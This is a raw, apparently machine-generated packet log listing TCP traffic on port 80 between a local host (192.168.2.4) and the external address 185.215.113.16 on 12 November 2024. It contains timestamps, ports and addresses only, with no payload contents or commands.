Nov 12, 2024 21:22:08.958741903 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.959207058 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959261894 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.959265947 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959285021 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959296942 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959306002 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959306955 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.959323883 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959335089 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.959353924 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.959382057 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.959512949 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959525108 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959534883 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959546089 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959556103 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959564924 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.959567070 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959579945 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959593058 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959597111 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.959605932 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959615946 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959618092 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.959635019 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959639072 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.959646940 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959657907 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959667921 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.959667921 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959682941 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959695101 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.959707975 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.959731102 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.960161924 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.960211039 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.960848093 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.960896969 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.960896969 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.960907936 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.960938931 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.960938931 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.960952997 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.960957050 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.960964918 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.960978031 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.960990906 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961025953 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961149931 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961174011 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961184978 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961198092 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961203098 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961215019 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961225033 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961232901 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961236954 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961256027 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961266994 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961266994 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961278915 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961288929 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961289883 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961311102 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961318970 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961323023 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961333990 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961344957 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961348057 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961355925 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961366892 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961371899 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961380005 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961391926 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961391926 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961401939 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961411953 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961415052 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961426973 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961437941 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961443901 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961447954 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961462021 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961471081 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961478949 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961488008 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961498976 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961498976 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961515903 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961517096 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961529970 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961545944 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961553097 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961556911 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961569071 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961579084 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961580992 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961595058 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961601019 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961613894 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961625099 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961625099 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961637974 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961647987 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961652040 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961658955 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961675882 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961688995 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961689949 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961699963 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961710930 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961719990 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961724997 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961733103 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961743116 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961747885 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961755037 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961766005 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961767912 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961776972 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961787939 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961797953 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961806059 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961812019 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961822987 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961833954 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961844921 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961844921 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961855888 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961865902 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961869955 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961880922 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961896896 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961901903 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961910009 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961921930 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961922884 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961932898 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961944103 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961944103 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961955070 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961963892 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.961967945 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961980104 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961991072 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.961999893 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962002993 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962025881 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962048054 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962253094 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962301970 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962332010 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962343931 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962383986 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962415934 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962428093 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962439060 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962450981 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962470055 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962488890 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962570906 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962583065 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962594032 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962605000 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962615013 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962621927 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962622881 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962632895 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962644100 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962645054 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962656975 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962687969 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962717056 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962737083 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962749004 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962759018 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962769032 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962779045 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962783098 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962794065 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962805986 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962805986 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962816954 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962827921 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962837934 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962837934 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962850094 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962862015 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962862968 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962891102 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962892056 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962903976 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962914944 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962917089 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962925911 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962938070 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962949038 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962949991 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962968111 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962980032 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962981939 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.962991953 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.962999105 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963004112 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963033915 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963062048 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963128090 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963140011 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963159084 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963169098 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963179111 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963181019 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963202953 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963215113 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963217020 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963229895 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963239908 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963274956 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963299036 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963310957 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963326931 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963339090 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963350058 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963354111 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963361979 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963371992 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963388920 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963390112 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963402987 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963413954 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963414907 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963427067 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963437080 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963437080 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963449001 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963459969 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963468075 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963471889 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963484049 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963491917 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963496923 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963507891 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963527918 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963560104 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963762045 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963773012 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963783026 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963793039 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963804960 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963814974 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963815928 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963828087 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963839054 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963854074 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963876963 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963917971 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963929892 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963941097 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963952065 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963962078 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963968039 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963973045 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963983059 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.963992119 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.963993073 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964019060 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964025974 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964031935 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964044094 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964051008 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964055061 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964066029 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964073896 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964077950 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964092016 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964112043 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964118958 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964124918 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964126110 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964137077 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964148045 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964158058 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964167118 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964169979 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964183092 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964193106 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964196920 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964205027 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964215994 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964221001 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964226961 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964237928 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964241982 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964251041 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964262009 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964281082 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964309931 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964659929 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964670897 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964682102 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964716911 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964740038 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964751005 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964761972 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964771986 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964782953 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964797020 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964821100 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964833975 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964834929 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964844942 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964855909 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964867115 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964869976 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964878082 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964885950 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964890003 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964905024 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964931011 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964956999 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.964982986 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.964996099 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.965039015 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.965066910 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.965079069 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.965089083 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.965100050 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.965111017 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.965121984 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.965145111 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.965168953 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.966329098 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966341019 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966351032 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966382027 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.966430902 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.966475964 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966494083 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.966505051 CET	80	49798	185.215.113.16	192.168.2.4
